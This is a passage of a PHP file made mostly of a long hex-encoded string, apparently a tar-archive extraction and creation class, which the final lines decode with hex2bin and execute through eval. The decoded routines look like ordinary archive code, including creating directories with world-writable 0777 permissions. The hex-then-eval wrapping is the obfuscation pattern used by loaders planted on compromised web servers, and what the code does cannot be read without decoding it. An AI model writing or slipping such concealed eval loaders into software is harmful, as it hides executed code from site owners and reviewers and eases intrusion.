7b0d0a09090909090924636f6e74656e74203d2024746869732d3e72656164426c6f636b28293b0d0a090909090909667772697465282464657374696e6174696f6e2c2024636f6e74656e742c20353132293b0d0a09090909097d0d0a09090909096966202828246865616465725b2773697a65275d2025203531322920213d203029207b0d0a09090909090924636f6e74656e74203d2024746869732d3e72656164426c6f636b28293b0d0a090909090909667772697465282464657374696e6174696f6e2c2024636f6e74656e742c2028246865616465725b2773697a65275d20252035313229293b0d0a09090909097d0d0a090909090966636c6f7365282464657374696e6174696f6e293b0d0a0909090909746f75636828246865616465725b2766696c656e616d65275d2c20246865616465725b2774696d65275d293b0d0a090909097d0d0a09090909636c65617273746174636163686528293b0d0a090909096966202866696c6573697a6528246865616465725b2766696c656e616d65275d2920213d20246865616465725b2773697a65275d29207b0d0a090909090924746869732d3e6572726f72735b5d203d205f5f282753697a65206f662066696c6527292e2720272e246865616465725b2766696c656e616d65275d2e2720272e5f5f2827697320696e636f727265637427293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a0909097d0d0a09090969662028282466696c655f646972203d206469726e616d6528246865616465725b2766696c656e616d65275d2929203d3d20246865616465725b2766696c656e616d65275d29202466696c655f646972203d2027273b0d0a090909696620282873756273747228246865616465725b2766696c656e616d65275d2c20302c203129203d3d20272f272920262620282466696c655f646972203d3d2027272929202466696c655f646972203d20272f273b0d0a09090924746869732d3e646972735b5d203d202466696c655f6469723b0d0a09090924746869732d3e66696c65735b5d203d20246865616465725b2766696c656e616d65275d3b0d0a090d0a09097d0d0a090972657475726e20747275653b0d0a097d0d0a0d0a0966756e6374696f6e20646972436865636b2824646972297b0d0a090924706172656e745f646972203d206469726e616d652824646972293b0d0a0d0a090969662028284069735f64697228246469722929206f72202824646972203d3d20272729290d0a09090972657475726e20747275653b0d0a0d0a0909696620282824706172656e745f64697220213d20246469722920616e64202824706172656e745f64697220213d2027272920616e6420282124746869732d3e646972436865636b2824706172656e745f6469722929290d0a09090972657475726e2066616c73653b0d0a0d0a090969662028216d6b64697228246469722c203037373729297b0d0a09090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420637265617465206469726563746f727927292e2720272e246469723b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a090972657475726e20747275653b0d0a097d0d0a0d0a0966756e6374696f6e2072656164486561646572282462696e617279446174612c202624686561646572297b0d0a0909696620287374726c656e282462696e61727944617461293d3d30297b0d0a090909246865616465725b2766696c656e616d65275d203d2027273b0d0a09090972657475726e20747275653b0d0a09097d0d0a0d0a0909696620287374726c656e282462696e617279446174612920213d20353132297b0d0a090909246865616465725b2766696c656e616d65275d203d2027273b0d0a09090924746869732d3e5f5f2827496e76616c696420626c6f636b2073697a6527292e273a20272e7374726c656e282462696e61727944617461293b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a0d0a090924636865636b73756d203d20303b0d0a0909666f7220282469203d20303b202469203c203134383b2024692b2b292024636865636b73756d2b3d6f726428737562737472282462696e617279446174612c2024692c203129293b0d0a0909666f7220282469203d203134383b202469203c203135363b2024692b2b292024636865636b73756d202b3d206f726428272027293b0d0a0909666f7220282469203d203135363b202469203c203531323b2024692b2b292024636865636b73756d2b3d6f726428737562737472282462696e617279446174612c2024692c203129293b0d0a0d0a090924756e7061636b5f64617461203d20756e7061636b28276131303066696c656e616d652f61386d6f64652f6138757365725f69642f613867726f75705f69642f61313273697a652f61313274696d652f6138636865636b73756d2f613174797065666c61672f613130306c696e6b2f61366d616769632f613276657273696f6e2f613332756e616d652f613332676e616d652f61386465766d616a6f722f61386465766d696e6f72272c202462696e61727944617461293b0d0a0d0a0909246865616465725b27636865636b73756d275d203d204f6374446563287472696d2824756e7061636b5f646174615b27636865636b73756d275d29293b0d0a090969662028246865616465725b27636865636b73756d275d20213d2024636865636b73756d297b0d0a090909246865616465725b2766696c656e616d65275d203d2027273b0d0a090909696620282824636865636b73756d203d3d20323536292026262028246865616465725b27636865636b73756d275d203d3d20302929200972657475726e20747275653b0d0a09090924746869732d3e6572726f72735b5d203d205f5f28274572726f7220636865636b73756d20666f722066696c652027292e24756e7061636b5f646174615b2766696c656e616d65275d3b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a0d0a09096966202828246865616465725b2774797065666c6167275d203d2024756e7061636b5f646174615b2774797065666c6167275d29203d3d202735272909246865616465725b2773697a65275d203d20303b0d0a0909246865616465725b2766696c656e616d65275d203d207472696d2824756e7061636b5f646174615b2766696c656e616d65275d293b0d0a0909246865616465725b276d6f6465275d203d204f6374446563287472696d2824756e7061636b5f646174615b276d6f6465275d29293b0d0a0909246865616465725b27757365725f6964275d203d204f6374446563287472696d2824756e7061636b5f646174615b27757365725f6964275d29293b0d0a0909246865616465725b2767726f75705f6964275d203d204f6374446563287472696d2824756e7061636b5f646174615b2767726f75705f6964275d29293b0d0a0909246865616465725b2773697a65275d203d204f6374446563287472696d2824756e7061636b5f646174615b2773697a65275d29293b0d0a0909246865616465725b2774696d65275d203d204f6374446563287472696d2824756e7061636b5f646174615b2774696d65275d29293b0d0a090972657475726e20747275653b0d0a097d0d0a0d0a0966756e6374696f6e207772697465486561646572282466696c656e616d652c20246b6565705f66696c656e616d65297b0d0a0909247061636b46203d202761313030613861386138613132413132273b0d0a0909247061636b4c203d2027613161313030613661326133326133326138613861313535613132273b0d0a0909696620287374726c656e28246b6565705f66696c656e616d65293c3d302920246b6565705f66696c656e616d65203d202466696c656e616d653b0d0a09092466696c656e616d655f7265616479203d2024746869732d3e6d616b65476f6f645061746828246b6565705f66696c656e616d65293b0d0a0d0a0909696620287374726c656e282466696c656e616d655f726561647929203e203939297b090909090909092f2f7772697465206c6f6e67206865616465720d0a090924646174614669727374203d207061636b28247061636b462c20272e2f2e2f4c6f6e674c696e6b272c20302c20302c20302c20737072696e746628272531317320272c204465634f6374287374726c656e282466696c656e616d655f72656164792929292c2030293b0d0a090924646174614c617374203d207061636b28247061636b4c2c20274c272c2027272c2027272c2027272c2027272c2027272c2027272c2027272c2027272c202727293b0d0a0d0a20202020202020202f2f202043616c63756c6174652074686520636865636b73756d0d0a090924636865636b73756d203d20303b0d0a20202020202020202f2f202046697273742070617274206f6620746865206865616465720d0a0909666f7220282469203d20303b202469203c203134383b2024692b2b290d0a09090924636865636b73756d202b3d206f72642873756273747228246461746146697273742c2024692c203129293b0d0a20202020202020202f2f202049676e6f72652074686520636865636b73756d2076616c756520616e64207265706c6163652069742062792027202720287370616365290d0a0909666f7220282469203d203134383b202469203c203135363b2024692b2b290d0a09090924636865636b73756d202b3d206f726428272027293b0d0a20202020202020202f2f20204c6173742070617274206f6620746865206865616465720d0a0909666f7220282469203d203135362c20246a3d303b202469203c203531323b2024692b2b2c20246a2b2b290d0a09090924636865636b73756d202b3d206f7264287375627374722824646174614c6173742c20246a2c203129293b0d0a20202020202020202f2f202057726974652074686520666972737420313438206279746573206f66207468652068656164657220696e2074686520617263686976650d0a090924746869732d3e7772697465426c6f636b28246461746146697273742c20313438293b0d0a20202020202020202f2f20205772697465207468652063616c63756c6174656420636865636b73756d0d0a090924636865636b73756d203d20737072696e7466282725367320272c204465634f63742824636865636b73756d29293b0d0a09092462696e61727944617461203d207061636b28276138272c2024636865636b73756d293b0d0a090924746869732d3e7772697465426c6f636b282462696e617279446174612c2038293b0d0a20202020202020202f2f2020577269746520746865206c61737420333536206279746573206f66207468652068656164657220696e2074686520617263686976650d0a090924746869732d3e7772697465426c6f636b2824646174614c6173742c20333536293b0d0a0d0a090924746d705f66696c656e616d65203d2024746869732d3e6d616b65476f6f6450617468282466696c656e616d655f7265616479293b0d0a0d0a09092469203d20303b0d0a0909097768696c6520282824627566666572203d207375627374722824746d705f66696c656e616d652c20282824692b2b292a353132292c20353132292920213d202727297b0d0a090909092462696e61727944617461203d207061636b282761353132272c2024627566666572293b0d0a0909090924746869732d3e7772697465426c6f636b282462696e61727944617461293b0d0a0909097d0d0a090972657475726e20747275653b0d0a09097d0d0a09092466696c655f696e666f203d2073746174282466696c656e616d65293b0d0a0909696620284069735f646972282466696c656e616d6529297b0d0a0909092474797065666c6167203d202735273b0d0a0909092473697a65203d20737072696e746628272531317320272c204465634f6374283029293b0d0a09097d20656c7365207b0d0a0909092474797065666c6167203d2027273b0d0a090909636c65617273746174636163686528293b0d0a0909092473697a65203d20737072696e746628272531317320272c204465634f63742866696c6573697a65282466696c656e616d652929293b0d0a09097d0d0a090924646174614669727374203d207061636b28247061636b462c202466696c656e616d655f72656164792c20737072696e7466282725367320272c204465634f63742866696c657065726d73282466696c656e616d652929292c20737072696e7466282725367320272c204465634f6374282466696c655f696e666f5b345d29292c20737072696e7466282725367320272c204465634f6374282466696c655f696e666f5b355d29292c202473697a652c20737072696e7466282725313173272c204465634f63742866696c656d74696d65282466696c656e616d65292929293b0d0a090924646174614c617374203d207061636b28247061636b4c2c202474797065666c61672c2027272c2027272c2027272c2027272c2027272c2027272c2027272c2027272c202727293b0d0a090924636865636b73756d203d20303b0d0a0909666f7220282469203d20303b202469203c203134383b2024692b2b292024636865636b73756d202b3d206f72642873756273747228246461746146697273742c2024692c203129293b0d0a0909666f7220282469203d203134383b202469203c203135363b2024692b2b292024636865636b73756d202b3d206f726428272027293b0d0a0909666f7220282469203d203135362c20246a203d20303b202469203c203531323b2024692b2b2c20246a2b2b292024636865636b73756d202b3d206f7264287375627374722824646174614c6173742c20246a2c203129293b0d0a090924746869732d3e7772697465426c6f636b28246461746146697273742c20313438293b0d0a090924636865636b73756d203d20737072696e7466282725367320272c204465634f63742824636865636b73756d29293b0d0a09092462696e61727944617461203d207061636b28276138272c2024636865636b73756d293b0d0a090924746869732d3e7772697465426c6f636b282462696e617279446174612c2038293b0d0a090924746869732d3e7772697465426c6f636b2824646174614c6173742c20333536293b0d0a090972657475726e20747275653b0d0a097d0d0a0d0a0966756e6374696f6e206f70656e577269746528297b0d0a09096966202824746869732d3e6973477a6970706564290d0a09090924746869732d3e746d705f66696c65203d20677a6f70656e2824746869732d3e617263686976655f6e616d652c20277762396627293b0d0a0909656c73650d0a09090924746869732d3e746d705f66696c65203d20666f70656e2824746869732d3e617263686976655f6e616d652c2027776227293b0d0a0d0a090969662028212824746869732d3e746d705f66696c6529297b0d0a09090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420777269746520746f2066696c6527292e2720272e24746869732d3e617263686976655f6e616d653b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a090972657475726e20747275653b0d0a097d0d0a0d0a0966756e6374696f6e2072656164426c6f636b28297b0d0a09096966202869735f7265736f757263652824746869732d3e746d705f66696c6529297b0d0a0909096966202824746869732d3e6973477a6970706564290d0a0909090924626c6f636b203d20677a726561642824746869732d3e746d705f66696c652c20353132293b0d0a090909656c73650d0a0909090924626c6f636b203d2066726561642824746869732d3e746d705f66696c652c20353132293b0d0a09097d20656c73650924626c6f636b203d2027273b0d0a0d0a090972657475726e2024626c6f636b3b0d0a097d0d0a0d0a0966756e6374696f6e207772697465426c6f636b2824646174612c20246c656e677468203d2030297b0d0a09096966202869735f7265736f757263652824746869732d3e746d705f66696c6529297b0d0a09090d0a09090969662028246c656e677468203d3d3d2030297b0d0a090909096966202824746869732d3e6973477a6970706564290d0a0909090909677a707574732824746869732d3e746d705f66696c652c202464617461293b0d0a09090909656c73650d0a090909090966707574732824746869732d3e746d705f66696c652c202464617461293b0d0a0909097d20656c7365207b0d0a090909096966202824746869732d3e6973477a6970706564290d0a0909090909677a707574732824746869732d3e746d705f66696c652c2024646174612c20246c656e677468293b0d0a09090909656c73650d0a090909090966707574732824746869732d3e746d705f66696c652c2024646174612c20246c656e677468293b0d0a0909097d0d0a09097d0d0a097d0d0a0d0a0966756e6374696f6e20636c6f7365546d7046696c6528297b0d0a09096966202869735f7265736f757263652824746869732d3e746d705f66696c6529297b0d0a0909096966202824746869732d3e6973477a6970706564290d0a09090909677a636c6f73652824746869732d3e746d705f66696c65293b0d0a090909656c73650d0a0909090966636c6f73652824746869732d3e746d705f66696c65293b0d0a0d0a09090924746869732d3e746d705f66696c65203d20303b0d0a09097d0d0a097d0d0a0d0a0966756e6374696f6e206d616b65476f6f6450617468282470617468297b0d0a0909696620287374726c656e282470617468293e30297b0d0a0909092470617468203d207374725f7265706c61636528275c5c272c20272f272c202470617468293b0d0a090909247061727450617468203d206578706c6f646528272f272c202470617468293b0d0a09090924656c73203d20636f756e7428247061727450617468292d313b0d0a090909666f7220282469203d2024656c733b2024693e3d303b2024692d2d297b0d0a09090909696620282470617274506174685b24695d203d3d20272e27297b0d0a20202020202020202020202020202020202020202f2f202049676e6f72652074686973206469726563746f72790d0a202020202020202020202020202020207d20656c7365696620282470617274506174685b24695d203d3d20272e2e27297b0d0a202020202020202020202020202020202020202024692d2d3b0d0a202020202020202020202020202020207d0d0a09090909656c736569662028282470617274506174685b24695d203d3d2027272920616e6420282469213d24656c732920616e6420282469213d3029297b0d0a202020202020202020202020202020207d09656c73650d0a090909090924726573756c74203d202470617274506174685b24695d2e282469213d24656c73203f20272f272e24726573756c74203a202727293b0d0a0909097d0d0a09097d20656c73652024726573756c74203d2027273b0d0a09090d0a090972657475726e2024726573756c743b0d0a097d0d0a7d0d0a3f3e';
$bin=hex2bin($hex);
eval('?>'.$bin);?>